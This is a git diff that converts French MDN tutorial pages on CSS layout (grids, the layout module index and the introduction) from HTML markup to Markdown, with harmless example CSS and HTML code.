-<p>Les « structures » de quadrillage se fondent sur une série de 12 à 16 rangées ; avec « CSS Grid », vous n'avez pas besoin d'outils tierce partie pour créer la structure — elle est déjà dans les spécifications.</p> +Les « structures » de quadrillage se fondent sur une série de 12 à 16 rangées ; avec « CSS Grid », vous n'avez pas besoin d'outils tierce partie pour créer la structure — elle est déjà dans les spécifications. -<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/11-grid-system-starting-point.html">Chargez le fichier de départ</a>. Il contient un conteneur à 12 colonnes et le même balisage que celui utilisé dans les deux exemples précédents. Nous pouvons maintenant utiliser le placement sur les lignes pour mettre le contenu sur le quadrillage à 12 colonnes.</p> +[Chargez le fichier de départ](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/11-grid-system-starting-point.html). Il contient un conteneur à 12 colonnes et le même balisage que celui utilisé dans les deux exemples précédents. Nous pouvons maintenant utiliser le placement sur les lignes pour mettre le contenu sur le quadrillage à 12 colonnes. -<pre class="brush: css">header { +```css +header { grid-column: 1 / 13; grid-row: 1; } @@ -571,9 +617,11 @@ aside { footer { grid-column: 1 / 13; grid-row: 3; -}</pre> +} +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; @@ -617,55 +665,52 @@ footer { aside { border-right: 1px solid #999; } - </pre> - -<pre class="brush: html hidden"><div class="container"> - <header>Voici mon joli blog</header> - <article> - <h1>Mon article</h1> - <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - </article> - <aside> - <h2>Autres sujets</h2> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> - </aside> - <footer>Contactez moi@monsite.com</footer> -</div> </pre> +``` -<p>{{ EmbedLiveSample('«_CSS_Grid_»_une_structure_de_quadrillage', '100%', 400) }}</p> +```html hidden +<div class="container"> + <header>Voici mon joli blog</header> + <article> + <h1>Mon article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Si vous utilisez <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Inspector</a> (Inspecteur > Mise en page > Grilles) pour superposer les lignes du quadrillage sur le design, vous verrez comment le quadrillage à 12 colonnes fonctionne.</p> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside> + <h2>Autres sujets</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contactez moi@monsite.com</footer> +</div> +``` -<p><img alt="A 12 column grid overlaid on our design." src="trames.png"></p> +{{ EmbedLiveSample('«_CSS_Grid_»_une_structure_de_quadrillage', '100%', 400) }} -<h2 id="Résumé">Résumé</h2> +Si vous utilisez [Firefox Grid Inspector](/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts) (Inspecteur > Mise en page > Grilles) pour superposer les lignes du quadrillage sur le design, vous verrez comment le quadrillage à 12 colonnes fonctionne. -<p>Dans cet aperçu, nous avons parcouru les principales caractéristiques de la mise en page avec les fonctionnalités des « CSS Grid Layout ». Vous devriez pouvoir commencer à l'utiliser dans vos mises en page. Pour en savoir plus sur les spécifications, lisez nos guides sur la disposition en trame ; leurs intitulés sont rappelés ci-dessous.</p> + -<h2 id="Voir_également">Voir également</h2> +## Résumé -<ul> - <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout#Guides">CSS Grid guides</a></li> - <li><a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">CSS Grid Inspector: Examine grid layouts</a></li> -</ul> +Dans cet aperçu, nous avons parcouru les principales caractéristiques de la mise en page avec les fonctionnalités des « CSS Grid Layout ». Vous devriez pouvoir commencer à l'utiliser dans vos mises en page. Pour en savoir plus sur les spécifications, lisez nos guides sur la disposition en trame ; leurs intitulés sont rappelés ci-dessous. -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p> +## Voir également +- [CSS Grid guides](/fr/docs/Web/CSS/CSS_Grid_Layout#Guides) +- [CSS Grid Inspector: Examine grid layouts](/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts) +{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/index.md b/files/fr/learn/css/css_layout/index.md index b6b10499ce..5a8db10ccf 100644 --- a/files/fr/learn/css/css_layout/index.md +++ b/files/fr/learn/css/css_layout/index.md @@ -20,67 +20,58 @@ tags: translation_of: Learn/CSS/CSS_layout original_slug: Apprendre/CSS/CSS_layout --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>À ce stade, les principes fondamentaux du CSS ont été vus : comment composer le texte et comment mettre en forme et manipuler les boîtes dans lesquelles se trouve votre contenu. Il est maintenant temps de regarder comment placer vos boîtes au bon endroit dans la vue et par rapport aux autres boîtes. Les prérequis nécessaires ont été examinés, nous pouvons maintenant nous plonger profondément dans la mise en page avec CSS, en regardant les différents paramètres d'affichage, les outils modernes tels que « flexbox », les grilles CSS et le positionnement, ainsi que quelques méthodes traditionnelles qu'il est encore bon de connaître.</p> +À ce stade, les principes fondamentaux du CSS ont été vus : comment composer le texte et comment mettre en forme et manipuler les boîtes dans lesquelles se trouve votre contenu. Il est maintenant temps de regarder comment placer vos boîtes au bon endroit dans la vue et par rapport aux autres boîtes. Les prérequis nécessaires ont été examinés, nous pouvons maintenant nous plonger profondément dans la mise en page avec CSS, en regardant les différents paramètres d'affichage, les outils modernes tels que « flexbox », les grilles CSS et le positionnement, ainsi que quelques méthodes traditionnelles qu'il est encore bon de connaître. -<div class="callout"> - <p>Vous cherchez à devenir développeuse ou développeur web front-end ?</p> - <p>Nous avons élaboré un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.</p> - <p><a href="/fr/docs/Learn/Front-end_web_developer">Commencer</a> - </p> -</div> +> **Remarque :** +> +> Vous cherchez à devenir développeuse ou développeur web front-end ? +> +> Nous avons élaboré un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif. +> +> [Commencer](/fr/docs/Learn/Front-end_web_developer) -<h2 id="prerequisites">Prérequis</h2> +## Prérequis -<p>Avant de commencer ce module, vous devriez déjà :</p> +Avant de commencer ce module, vous devriez déjà : -<ol> - <li>Connaître les bases du HTML, telles qu'exposées dans le module <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML.</a></li> - <li>Être à l'aise avec les fondamentaux du CSS, telles qu'exposés dans <a href="/fr/docs/Learn/CSS/First_steps">Introduction à CSS</a>.</li> - <li>Savoir <a href="/fr/docs/Learn/CSS/Building_blocks">mettre en forme les boîtes.</a></li> -</ol> +1. Connaître les bases du HTML, telles qu'exposées dans le module [Introduction au HTML.](/fr/docs/Learn/HTML/Introduction_to_HTML) +2. Être à l'aise avec les fondamentaux du CSS, telles qu'exposés dans [Introduction à CSS](/fr/docs/Learn/CSS/First_steps). +3. Savoir [mettre en forme les boîtes.](/fr/docs/Learn/CSS/Building_blocks) -<div class="notecard note"> - <p><strong>Note :</strong> Si vous travaillez sur un ordinateur, une tablette ou autre périphérique sur lequel vous ne pouvez pas créer vos propres fichiers, vous pourrez essayer (la plupart) les exemples de code dans des sites de développement en ligne tels que <a href="http://jsbin.com/">JSBin</a> ou <a href="https://glitch.com/">Glitch</a></p> -</div> +> **Note :** Si vous travaillez sur un ordinateur, une tablette ou autre périphérique sur lequel vous ne pouvez pas créer vos propres fichiers, vous pourrez essayer (la plupart) les exemples de code dans des sites de développement en ligne tels que [JSBin](http://jsbin.com/) ou [Glitch](https://glitch.com/) -<h2 id="guides">Guides</h2> +## Guides -<p>Ces articles fourniront des instructions sur les outils et techniques de mise en page fondamentaux disponibles dans CSS. À la fin des leçons, un exercice vous permettra de vérifier la compréhension des méthodes de mise en page en créant votre propre page web.</p> +Ces articles fourniront des instructions sur les outils et techniques de mise en page fondamentaux disponibles dans CSS. À la fin des leçons, un exercice vous permettra de vérifier la compréhension des méthodes de mise en page en créant votre propre page web. -<dl> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction à la mise en page en CSS</a></dt> - <dd>Cet article récapitule quelques-unes des fonctionnalités de mise en page CSS que nous avons déjà abordées dans les modules précédents — telles que les diverses valeurs de <a href="/fr/docs/Web/CSS/display"><code>display</code></a> — et présente certains des concepts que nous couvrirons dans de ce module.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Flux normal des éléments</a></dt> - <dd>Les éléments se placent d'eux‑même sur les pages web selon un <em>flux normal</em> sauf à ce que nous modifions la disposition avec CSS. Cet article explique les fondamentaux du flux normal pour permettre de comprendre comment le modifier.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></dt> - <dd><a href="/fr/docs/Glossary/Flexbox">Flexbox</a> est une méthode de mise en page unidimensionnelle pour disposer les éléments en lignes ou en colonnes. Les éléments s'adaptent pour remplir de l'espace supplémentaire et se rétractent pour s'insérer dans des espaces plus petits. Cet article explique les bases de cet outil CSS.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grilles</a></dt> - <dd>Les grilles CSS permettent de composer un document avec une mise en page bidimensionnelle. Elles permettent de disposer le contenu en lignes et en colonnes, et possèdent de nombreuses fonctionnalités qui simplifient la construction de mises en page complexes. Cet article vous fournira l'ensemble des informations pour commencer avec la mise en page via les grilles CSS.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Le flottement</a></dt> - <dd>À l'origine destinée aux images flottantes à l'intérieur de blocs de texte, la propriété <a href="/fr/docs/Web/CSS/float"><code>float</code></a> fut pendant un moment l'un des outils les plus utilisés pour créer des mises en page sur plusieurs colonnes sur des pages web. Avec l'avènement de flexbox et des grilles, cette propriété retrouve son usage initial. Nous verrons ce qu'il en est dans cet article.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Le positionnement</a></dt> - <dd>Le positionnement vous permet d'extraire des éléments du flux de mise en page normal du document et de les faire se comporter différemment, par exemple en se mettant l'un sur l'autre ou en les positionnant toujours au même endroit dans la fenêtre du navigateur. Cet article indique les différentes valeurs pour la propriété CSS <a href="/fr/docs/Web/CSS/position"><code>position</code></a> et comment les utiliser.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Disposition en colonnes</a></dt> - <dd>Ce type de disposition permet d'organiser le contenu en colonnes, comme dans un journal papier. Cet article explique comment utiliser cette fonctionnalité.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Responsive_Design"><i>Responsive design</i></a></dt> - <dd>Avec l'apparition d'écrans de tailles diverses pour naviguer sur le Web, le concept de « <i>responsive design</i> » (ou conception de sites web réactifs en français) est apparu. Il s'agit d'un ensemble de pratiques qui permettent d'adapter la disposition et l'apparence du contenu web pour s'afficher au mieux sur les différents écrans (quelle que soit leur largeur ou leur résolution par exemple). Cette méthode a changé la façon de concevoir des sites et applications web pour les différents appareils. Dans cet article, nous verrons les techniques principales associées et ce qu'il faut connaître pour maîtriser cette méthode.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Media_queries">Guide pour débuter avec les <i>media queries</i></a></dt> - <dd>Les <i>media queries</i> (ou requêtes média en français) permettent d'appliquer des règles CSS en fonction de conditions sur l'environnement ou l'appareil. On peut ainsi choisir de déclencher une règle lorsque la zone d'affichage est plus large que 480 pixels. Les requêtes média sont une brique fondamentale pour la conception de sites web réactifs car elles permettent de créer différentes dispositions en fonction de la taille de la zone d'affichage. Elles permettent également de détecter d'autres notions relatives à l'environnement de navigation comme l'utilisation d'un écran tactile ou d'une souris. Dans cet article, nous verrons la syntaxe utilisée pour les <i>media queries</i> puis appliquerons cela à un exemple pour le rendre réactif.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de mise en page historiques</a></dt> - <dd>Les systèmes de grilles sont une fonctionnalité courramment utilisée pour les mises en page avec CSS. Avant l'implémentation des grilles CSS, il fallait utiliser le flottement ou d'autres techniques de disposition. Dans cet article, nous exposerons comment ces méthodes plus anciennes fonctionnent afin que vous compreniez comment elles étaient utilisées si vous travaillez sur un projet historique.</dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Prise en charge des anciens navigateurs</a></dt> - <dd> - <p>Dans ce module, nous vous recommandons d'utiliser flexbox et les grilles CSS comme méthodes de mise en page pour vos pages et applications. Cependant, il y aura des visiteurs de votre site utilisant des navigateurs plus anciens ou des navigateurs ne prenant pas en charge les méthodes que vous avez utilisées. Ce sera toujours le cas sur le Web — au fur et à mesure du développement de nouvelles fonctionnalités, les implémentations des navigateurs pourront varier. Cet article explique comment utiliser les techniques modernes du Web sans exclure les personnes utilisant des navigateurs plus anciens.</p> - </dd> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Compréhension des fondamentaux de la mise en page</a></dt> - <dd>Une évaluation pour tester vos connaissances des différentes méthodes de mise en page web.</dd> -</dl> +- [Introduction à la mise en page en CSS](/fr/docs/Learn/CSS/CSS_layout/Introduction) + - : Cet article récapitule quelques-unes des fonctionnalités de mise en page CSS que nous avons déjà abordées dans les modules précédents — telles que les diverses valeurs de [`display`](/fr/docs/Web/CSS/display) — et présente certains des concepts que nous couvrirons dans de ce module. +- [Flux normal des éléments](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) + - : Les éléments se placent d'eux‑même sur les pages web selon un _flux normal_ sauf à ce que nous modifions la disposition avec CSS. Cet article explique les fondamentaux du flux normal pour permettre de comprendre comment le modifier. +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) + - : [Flexbox](/fr/docs/Glossary/Flexbox) est une méthode de mise en page unidimensionnelle pour disposer les éléments en lignes ou en colonnes. Les éléments s'adaptent pour remplir de l'espace supplémentaire et se rétractent pour s'insérer dans des espaces plus petits. Cet article explique les bases de cet outil CSS. +- [Grilles](/fr/docs/Learn/CSS/CSS_layout/Grids) + - : Les grilles CSS permettent de composer un document avec une mise en page bidimensionnelle. Elles permettent de disposer le contenu en lignes et en colonnes, et possèdent de nombreuses fonctionnalités qui simplifient la construction de mises en page complexes. Cet article vous fournira l'ensemble des informations pour commencer avec la mise en page via les grilles CSS. +- [Le flottement](/fr/docs/Learn/CSS/CSS_layout/Floats) + - : À l'origine destinée aux images flottantes à l'intérieur de blocs de texte, la propriété [`float`](/fr/docs/Web/CSS/float) fut pendant un moment l'un des outils les plus utilisés pour créer des mises en page sur plusieurs colonnes sur des pages web. Avec l'avènement de flexbox et des grilles, cette propriété retrouve son usage initial. Nous verrons ce qu'il en est dans cet article. +- [Le positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning) + - : Le positionnement vous permet d'extraire des éléments du flux de mise en page normal du document et de les faire se comporter différemment, par exemple en se mettant l'un sur l'autre ou en les positionnant toujours au même endroit dans la fenêtre du navigateur. Cet article indique les différentes valeurs pour la propriété CSS [`position`](/fr/docs/Web/CSS/position) et comment les utiliser. +- [Disposition en colonnes](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) + - : Ce type de disposition permet d'organiser le contenu en colonnes, comme dans un journal papier. Cet article explique comment utiliser cette fonctionnalité. +- [_Responsive design_](/fr/docs/Learn/CSS/CSS_layout/Responsive_Design) + - : Avec l'apparition d'écrans de tailles diverses pour naviguer sur le Web, le concept de « _responsive design_ » (ou conception de sites web réactifs en français) est apparu. Il s'agit d'un ensemble de pratiques qui permettent d'adapter la disposition et l'apparence du contenu web pour s'afficher au mieux sur les différents écrans (quelle que soit leur largeur ou leur résolution par exemple). Cette méthode a changé la façon de concevoir des sites et applications web pour les différents appareils. Dans cet article, nous verrons les techniques principales associées et ce qu'il faut connaître pour maîtriser cette méthode. +- [Guide pour débuter avec les _media queries_](/fr/docs/Learn/CSS/CSS_layout/Media_queries) + - : Les _media queries_ (ou requêtes média en français) permettent d'appliquer des règles CSS en fonction de conditions sur l'environnement ou l'appareil. On peut ainsi choisir de déclencher une règle lorsque la zone d'affichage est plus large que 480 pixels. Les requêtes média sont une brique fondamentale pour la conception de sites web réactifs car elles permettent de créer différentes dispositions en fonction de la taille de la zone d'affichage. Elles permettent également de détecter d'autres notions relatives à l'environnement de navigation comme l'utilisation d'un écran tactile ou d'une souris. Dans cet article, nous verrons la syntaxe utilisée pour les _media queries_ puis appliquerons cela à un exemple pour le rendre réactif. +- [Méthodes de mise en page historiques](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) + - : Les systèmes de grilles sont une fonctionnalité courramment utilisée pour les mises en page avec CSS. Avant l'implémentation des grilles CSS, il fallait utiliser le flottement ou d'autres techniques de disposition. Dans cet article, nous exposerons comment ces méthodes plus anciennes fonctionnent afin que vous compreniez comment elles étaient utilisées si vous travaillez sur un projet historique. +- [Prise en charge des anciens navigateurs](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) + - : Dans ce module, nous vous recommandons d'utiliser flexbox et les grilles CSS comme méthodes de mise en page pour vos pages et applications. Cependant, il y aura des visiteurs de votre site utilisant des navigateurs plus anciens ou des navigateurs ne prenant pas en charge les méthodes que vous avez utilisées. Ce sera toujours le cas sur le Web — au fur et à mesure du développement de nouvelles fonctionnalités, les implémentations des navigateurs pourront varier. Cet article explique comment utiliser les techniques modernes du Web sans exclure les personnes utilisant des navigateurs plus anciens. +- [Compréhension des fondamentaux de la mise en page](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) + - : Une évaluation pour tester vos connaissances des différentes méthodes de mise en page web. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<dl> - <dt><a href="/fr/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Exemples pratiques de positionnement</a></dt> - <dd>Cet article montre comment construire quelques exemples réalistes pour illustrer les possibilités du positionnement.</dd> -</dl> +- [Exemples pratiques de positionnement](/fr/docs/Learn/CSS/CSS_layout/Practical_positioning_examples) + - : Cet article montre comment construire quelques exemples réalistes pour illustrer les possibilités du positionnement. diff --git a/files/fr/learn/css/css_layout/introduction/index.md b/files/fr/learn/css/css_layout/introduction/index.md index c295efa170..9edb2531f8 100644 --- a/files/fr/learn/css/css_layout/introduction/index.md +++ b/files/fr/learn/css/css_layout/introduction/index.md @@ -17,207 +17,224 @@ tags: translation_of: Learn/CSS/CSS_layout/Introduction original_slug: Apprendre/CSS/CSS_layout/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout")}} -<div>{{NextMenu("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout")}}</div> - -<p>Cet article récapitule quelques fonctionnalités de mise en page CSS que l'on a déjà côtoyées dans les modules précédents — telles que les différentes valeurs de {{cssxref("display")}} — et en introduit de nouveaux que nous aborderons dans ce module.</p> +Cet article récapitule quelques fonctionnalités de mise en page CSS que l'on a déjà côtoyées dans les modules précédents — telles que les différentes valeurs de {{cssxref("display")}} — et en introduit de nouveaux que nous aborderons dans ce module. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a>) et avoir une idée de la manière dont la CSS fonctionne (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Vous donner un aperçu des techniques de mise en page des CSS. Chaque technique peut être apprise plus précisément dans des tutoriels dédiés.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les fondamentaux du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction au HTML</a + >) et avoir une idée de la manière dont la CSS fonctionne (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Vous donner un aperçu des techniques de mise en page des CSS. Chaque + technique peut être apprise plus précisément dans des tutoriels dédiés. + </td> + </tr> + </tbody> </table> -<p>Les techniques de mise en page des CSS nous permettent de prendre des éléments contenus dans une page web et d'en contrôler le placement par rapport à leur position par défaut dans le flot d'une mise en page courante, aux autres éléments environnants, à leur conteneur parents ou à la fenêtre principale d'affichage. Les techniques de mises en page abordées en détail dans ce module sont:</p> +Les techniques de mise en page des CSS nous permettent de prendre des éléments contenus dans une page web et d'en contrôler le placement par rapport à leur position par défaut dans le flot d'une mise en page courante, aux autres éléments environnants, à leur conteneur parents ou à la fenêtre principale d'affichage. Les techniques de mises en page abordées en détail dans ce module sont: -<ul> - <li>le cours normal</li> - <li>la propriété {{cssxref("display")}}</li> - <li>Flexbox</li> - <li>les trames</li> - <li>les flotteurs</li> - <li>le positionnement</li> - <li>la mise en page des tableaux</li> - <li>la disposition sur plusieurs colonnes</li> -</ul> +- le cours normal +- la propriété {{cssxref("display")}} +- Flexbox +- les trames +- les flotteurs +- le positionnement +- la mise en page des tableaux +- la disposition sur plusieurs colonnes -<p>Chaque technique à ses usages, ses avantages et ses inconvénients. Aucune technique n'a été conçue pour être utilisée isolément. En comprenant ce pourquoi chaque méthode a été conçue, vous saurez utiliser le meilleur outil de mise en page dans chaque situation.</p> +Chaque technique à ses usages, ses avantages et ses inconvénients. Aucune technique n'a été conçue pour être utilisée isolément. En comprenant ce pourquoi chaque méthode a été conçue, vous saurez utiliser le meilleur outil de mise en page dans chaque situation. -<h2 id="Cours_normal">Cours normal</h2> +## Cours normal -<p>Le cours normal est la manière dont le navigateur présente les pages HTML par défaut quand vous ne faites rien pour contrôler la mise en page. Regardons rapidement un exemple HTML:</p> +Le cours normal est la manière dont le navigateur présente les pages HTML par défaut quand vous ne faites rien pour contrôler la mise en page. Regardons rapidement un exemple HTML: -<pre class="brush: html"><p>J'aime mon chat.</p> +```html +<p>J'aime mon chat.</p> -<ul> - <li>Acheter des croquettes</li> - <li>Exercice</li> - <li>Haut les cœurs, ami</li> -</ul> +<ul> + <li>Acheter des croquettes</li> + <li>Exercice</li> + <li>Haut les cœurs, ami</li> +</ul> -<p>La fin !</p></pre> +<p>La fin !</p> +``` -<p>Par défaut, le navigateur affichera ce code ainsi :</p> +Par défaut, le navigateur affichera ce code ainsi : -<p>{{ EmbedLiveSample('Cours_normal', '100%', 200) }}</p> +{{ EmbedLiveSample('Cours_normal', '100%', 200) }} -<p>Notez que le HTML est affiché dans l'ordre exact où il est dans le code source : les éléments s'empilent les uns sur les autres — le premier paragraphe, puis la liste non ordonnée suivie par le second paragraphe.</p> +Notez que le HTML est affiché dans l'ordre exact où il est dans le code source : les éléments s'empilent les uns sur les autres — le premier paragraphe, puis la liste non ordonnée suivie par le second paragraphe. -<p>Les éléments disposés en empilement sont désignés comme étant des éléments <em>blocs</em>, par opposition aux éléments <em>en ligne</em> qui apparaissent l'un après l'autre telle la succession de mots distincts d'un paragraphe.</p> +Les éléments disposés en empilement sont désignés comme étant des éléments _blocs_, par opposition aux éléments _en ligne_ qui apparaissent l'un après l'autre telle la succession de mots distincts d'un paragraphe. -<div class="note"> -<p><strong>Note :</strong> « Block Direction » (Sens d'empilement) définit le sens dans lequel les éléments blocs sont disposés. Le sens d'empilement est vertical pour une langue comme l'anglais dont le mode d'écriture est horizontal. Ce sens sera horizontal pour toute langue avec un mode d'écriture vertical, comme le japonais. La « Inline Direction » (sens d'écriture) correspond à celle dont les contenus en ligne (comme une phrase) sont disposés.</p> -</div> +> **Note :** « Block Direction » (Sens d'empilement) définit le sens dans lequel les éléments blocs sont disposés. Le sens d'empilement est vertical pour une langue comme l'anglais dont le mode d'écriture est horizontal. Ce sens sera horizontal pour toute langue avec un mode d'écriture vertical, comme le japonais. La « Inline Direction » (sens d'écriture) correspond à celle dont les contenus en ligne (comme une phrase) sont disposés. -<p>Lorsque vous utilisez les CSS pour faire une mise en page, vous déplacez les éléments de leur cours normal ; toutefois, pour la plupart des éléments de la page, ce cours normal crée exactement la mise en page dont vous avez besoin. C'est pourquoi il est si important de commencer avec un document HTML bien structuré, car vous pouvez alors travailler la façon dont les choses seront disposées par défaut au lieu de lutter contre cette disposition.</p> +Lorsque vous utilisez les CSS pour faire une mise en page, vous déplacez les éléments de leur cours normal ; toutefois, pour la plupart des éléments de la page, ce cours normal crée exactement la mise en page dont vous avez besoin. C'est pourquoi il est si important de commencer avec un document HTML bien structuré, car vous pouvez alors travailler la façon dont les choses seront disposées par défaut au lieu de lutter contre cette disposition. -<p>Les méthodes des CSS pouvant changer le placement des éléments sont les suivantes :</p> +Les méthodes des CSS pouvant changer le placement des éléments sont les suivantes : -<ul> - <li><strong>La propriété {{cssxref("display")}}</strong> — les valeurs standards comme <code>block</code>, <code>inline</code> ou <code>inline-block</code> peuvent changer la manière dont l'élément se comporte dans le cours normal (voir <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_types_de_bo%C3%AEte">Types de boîtes</a> pour plus d'informations). Ensuite, nous disposons de méthodes de mise en page autonomes activées par l'intermédiaire d'une valeur de <code>display</code>, par exemple les <a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grilles CSS</a> ou <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>.</li> - <li><strong>Flotteurs</strong> — appliquer à {{cssxref("float")}} une valeur comme <code>left</code> peut créer une juxtaposition d'un élément bloc à côté d'un autre, tout comme les images « baignent » dans le texte dans les mises en page de magazines.</li> - <li><strong>La propriété {{cssxref("position")}}</strong> — vous permet de contrôler avec 